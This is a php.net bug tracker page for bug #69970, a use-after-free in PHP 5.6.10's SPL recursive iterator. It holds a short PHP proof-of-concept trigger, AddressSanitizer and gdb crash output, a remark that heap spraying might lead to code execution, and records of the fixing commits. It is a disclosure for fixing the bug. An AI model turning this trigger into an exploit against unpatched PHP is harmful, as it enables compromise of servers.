php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #69970 Use-after-free vulnerability in spl_recursive_it_move_forward_ex()
Submitted: 2015-06-30 15:14 UTC Modified: 2015-07-05 04:05 UTC
From: s dot paraschoudis at gmail dot com Assigned:
Status: Closed Package: Reproducible crash
PHP Version: 5.6.10 OS: Ubuntu 14.04.1 LTS (32 bit)
Private report: No CVE-ID:
 [2015-06-30 15:14 UTC] s dot paraschoudis at gmail dot com
Description:
------------
PoC
==============
<?php

class RecursiveArrayIteratorIterator extends RecursiveIteratorIterator {
  function rewind() {
    echo "dummy\n";
  }
  function endChildren() {
    echo $this->getDepth();
    // Trigger use-after-free
    parent::rewind();
  }
}
$arr = array("a", array("ba", array("bba", "bbb")));
$obj = new RecursiveArrayIterator($arr);
$rit = new RecursiveArrayIteratorIterator($obj);

foreach ($rit as $k => $v) {
  echo ($rit->getDepth()) . "$k=>$v\n";
}
?>

Running the following PoC we get:

user@ubuntuvm:~/$ USE_ZEND_ALLOC=0 ~/Desktop/php-5.6.10/sapi/cli/php iterator_uaf.php 

=================================================================
==3109== ERROR: AddressSanitizer: heap-use-after-free on address 0xb591ec74 at pc 0x87048d4 bp 0xbfb9a8a8 sp 0xbfb9a89c
READ of size 4 at 0xb591ec74 thread T0
    #0 0x87048d3 in spl_recursive_it_move_forward_ex spl_iterators.c:383
    #1 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
    #2 0x8aa46de in zend_call_function zend_execute_API.c:847
    #3 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
    #4 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
    #5 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
    #6 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
    #7 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
    #8 0x8ade628 in zend_execute_scripts zend.c:1341
    #9 0x894d95b in php_execute_script main.c:2597
    #10 0x8d14b83 in do_cli php_cli.c:994
    #11 0x8d172c0 in main php_cli.c:1378
    #12 0xb5d76a82 in __libc_start_main libc-start.c:287
    #13 0x80628b0 in _start ??:?
0xb591ec74 is located 4 bytes inside of 24-byte region [0xb591ec70,0xb591ec88)
freed by thread T0 here:
    #0 0xb611c774 in __interceptor_free ??:?
    #1 0x8a2de51 in _efree zend_alloc.c:2437
    #2 0x8729964 in spl_array_it_dtor spl_array.c:999
    #3 0x8704cf8 in spl_recursive_it_rewind_ex spl_iterators.c:400
    #4 0x8706b48 in zim_spl_RecursiveIteratorIterator_rewind spl_iterators.c:608
    #5 0x8b9f3a7 in zend_do_fcall_common_helper_SPEC zend_vm_execute.h:558
    #6 0x8ba0dac in ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER zend_vm_execute.h:693
    #7 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
    #8 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
    #9 0x8aa4049 in zend_call_function zend_execute_API.c:829
    #10 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
    #11 0x870480f in spl_recursive_it_move_forward_ex spl_iterators.c:374
    #12 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
    #13 0x8aa46de in zend_call_function zend_execute_API.c:847
    #14 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
    #15 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
    #16 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
    #17 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
    #18 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
    #19 0x8ade628 in zend_execute_scripts zend.c:1341
    #20 0x894d95b in php_execute_script main.c:2597
    #21 0x8d14b83 in do_cli php_cli.c:994
    #22 0x8d172c0 in main php_cli.c:1378
    #23 0xb5d76a82 in __libc_start_main libc-start.c:287
previously allocated by thread T0 here:
    #0 0xb611c854 in malloc ??:?
    #1 0x8a2dd20 in _emalloc zend_alloc.c:2427
    #2 0x872aa3b in spl_array_get_iterator spl_array.c:1177
    #3 0x8704323 in spl_recursive_it_move_forward_ex spl_iterators.c:351
    #4 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
    #5 0x8aa46de in zend_call_function zend_execute_API.c:847
    #6 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
    #7 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
    #8 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
    #9 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
    #10 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
    #11 0x8ade628 in zend_execute_scripts zend.c:1341
    #12 0x894d95b in php_execute_script main.c:2597
    #13 0x8d14b83 in do_cli php_cli.c:994
    #14 0x8d172c0 in main php_cli.c:1378
    #15 0xb5d76a82 in __libc_start_main libc-start.c:287
==3455== ABORTING


Without ASAN instrumentation:

gdb-peda$ run iterator_uaf.php 
Starting program: /home/user/Desktop/php5610/sapi/cli/php iterator_uaf.php
dummy
00=>a
00=>a
10=>ba
20=>bba
21=>bbb
210
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5a5a5a5a ('ZZZZ')
EBX: 0xbfffba18 --> 0xb7be2410 --> 0x0 
ECX: 0x14 
EDX: 0xb7c ('|\x0b')
ESI: 0xb7be1f48 --> 0x2 
EDI: 0xbfffb9d0 --> 0xb7be1f48 --> 0x2 
EBP: 0xbfffb8d8 --> 0xbfffb908 --> 0xbfffb9e8 --> 0xbfffba88 --> 0xbfffbad8 --> 0xbfffbb58 --> 0xbfffbb88 --> 0xbfffbba8 --> 0xbfffbc18 --> 0xbfffddc8 --> 0xbfffefb8 --> 0xbffff0d8 --> 0x0 
ESP: 0xbfffb880 --> 0xbfffb8e4 --> 0xb7be1f48 --> 0x2 
EIP: 0x82da01e (<spl_recursive_it_move_forward_ex+2065>:  mov    eax,DWORD PTR [eax])
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x82da013 <spl_recursive_it_move_forward_ex+2054>: call   0x8445051 <zend_clear_exception>
   0x82da018 <spl_recursive_it_move_forward_ex+2059>: mov    eax,DWORD PTR [ebp-0x18]
   0x82da01b <spl_recursive_it_move_forward_ex+2062>: mov    eax,DWORD PTR [eax+0x4]
=> 0x82da01e <spl_recursive_it_move_forward_ex+2065>: mov    eax,DWORD PTR [eax]
   0x82da020 <spl_recursive_it_move_forward_ex+2067>: mov    edx,DWORD PTR [ebp-0x18]
   0x82da023 <spl_recursive_it_move_forward_ex+2070>: mov    DWORD PTR [esp],edx
   0x82da026 <spl_recursive_it_move_forward_ex+2073>: call   eax
   0x82da028 <spl_recursive_it_move_forward_ex+2075>: mov    eax,DWORD PTR [ebp+0x8]
[------------------------------------stack-------------------------------------]
0000| 0xbfffb880 --> 0xbfffb8e4 --> 0xb7be1f48 --> 0x2 
0004| 0xbfffb884 --> 0xb7bdf8e4 --> 0x2 
0008| 0xbfffb888 --> 0xb7be2198 --> 0xb7bdfc10 --> 0x8425002 (<zend_stack_push+210>:  add    eax,ecx)
0012| 0xbfffb88c --> 0x88b1010 ("endchildren")
0016| 0xbfffb890 --> 0xb ('\x0b')
0020| 0xbfffb894 --> 0x0 
0024| 0xbfffb898 --> 0x0 
0028| 0xbfffb89c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x082da01e in spl_recursive_it_move_forward_ex (object=0xb7be215c, zthis=0xb7be1f48) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:383
383       iterator->funcs->dtor(iterator TSRMLS_CC);
gdb-peda$ bt
#0  0x082da01e in spl_recursive_it_move_forward_ex (object=0xb7be215c, zthis=0xb7be1f48) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:383
#1  0x082dad68 in zim_spl_RecursiveIteratorIterator_next (ht=0x0, return_value=0xb7be2410, return_value_ptr=0xbfffba18, this_ptr=0xb7be1f48, return_value_used=0x1) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:674
#2  0x08416f48 in zend_call_function (fci=0xbfffba5c, fci_cache=0xbfffba48) at /home/user/Desktop/php5610/Zend/zend_execute_API.c:847
#3  0x0844380d in zend_call_method (object_pp=0xbfffbac8, obj_ce=0xb7bdf8e4, fn_proxy=0xb7bdf9dc, function_name=0x8926e60 "next", function_name_len=0x4, retval_ptr_ptr=0x0, param_count=0x0, arg1=0x0, arg2=0x0) at /home/user/Desktop/php5610/Zend/zend_interfaces.c:97
#4  0x08443c82 in zend_user_it_move_forward (_iter=0xb7bdf2d4) at /home/user/Desktop/php5610/Zend/zend_interfaces.c:224
#5  0x0847d766 in ZEND_FE_FETCH_SPEC_VAR_HANDLER (execute_data=0xb7bc1288) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:14024
#6  0x08462492 in execute_ex (execute_data=0xb7bc1288) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:363
#7  0x084624f7 in zend_execute (op_array=0xb7bde9f8) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:388
#8  0x0842845a in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/user/Desktop/php5610/Zend/zend.c:1341
#9  0x083a93b8 in php_execute_script (primary_file=0xbfffde90) at /home/user/Desktop/php5610/main/main.c:2597
#10 0x084c5493 in do_cli (argc=0x2, argv=0x89bf018) at /home/user/Desktop/php5610/sapi/cli/php_cli.c:994
#11 0x084c64e0 in main (argc=0x2, argv=0x89bf018) at /home/user/Desktop/php5610/sapi/cli/php_cli.c:1378
#12 0xb7c35a83 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#13 0x08062541 in _start ()


As you can see the crash occured while trying to dereference EAX which currently points to freed memory.
Please notice the call EAX instruction at spl_recursive_it_move_forward_ex+2073, it looks like if we manage
to control EAX (with heap spraying) we might be able to gain code execution.

I will try to provide a PoC that demonstrates that at some phase.

Regards,
Symeon.


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-05 04:05 UTC] stas@php.net
-Type: Security +Type: Bug
 [2015-07-07 13:34 UTC] laruence@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e41f600365fe9f27727a62a850a4d55416ae856f
Log: Fixed bug #69970 (Use-after-free vulnerability in spl_recursive_it_move_forward_ex())
 [2015-07-07 13:34 UTC] laruence@php.net
-Status: Open +Status: Closed
 [2015-07-07 23:36 UTC] ab@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e41f600365fe9f27727a62a850a4d55416ae856f
Log: Fixed bug #69970 (Use-after-free vulnerability in spl_recursive_it_move_forward_ex())
 [2015-07-10 00:53 UTC] tyrael@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1f4a84109549480a40b3c3b49456aa7bb4105bac
Log: Fixed bug #69970 (Use-after-free vulnerability in spl_recursive_it_move_forward_ex())
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Fri Jul 21 06:01:37 2017 UTC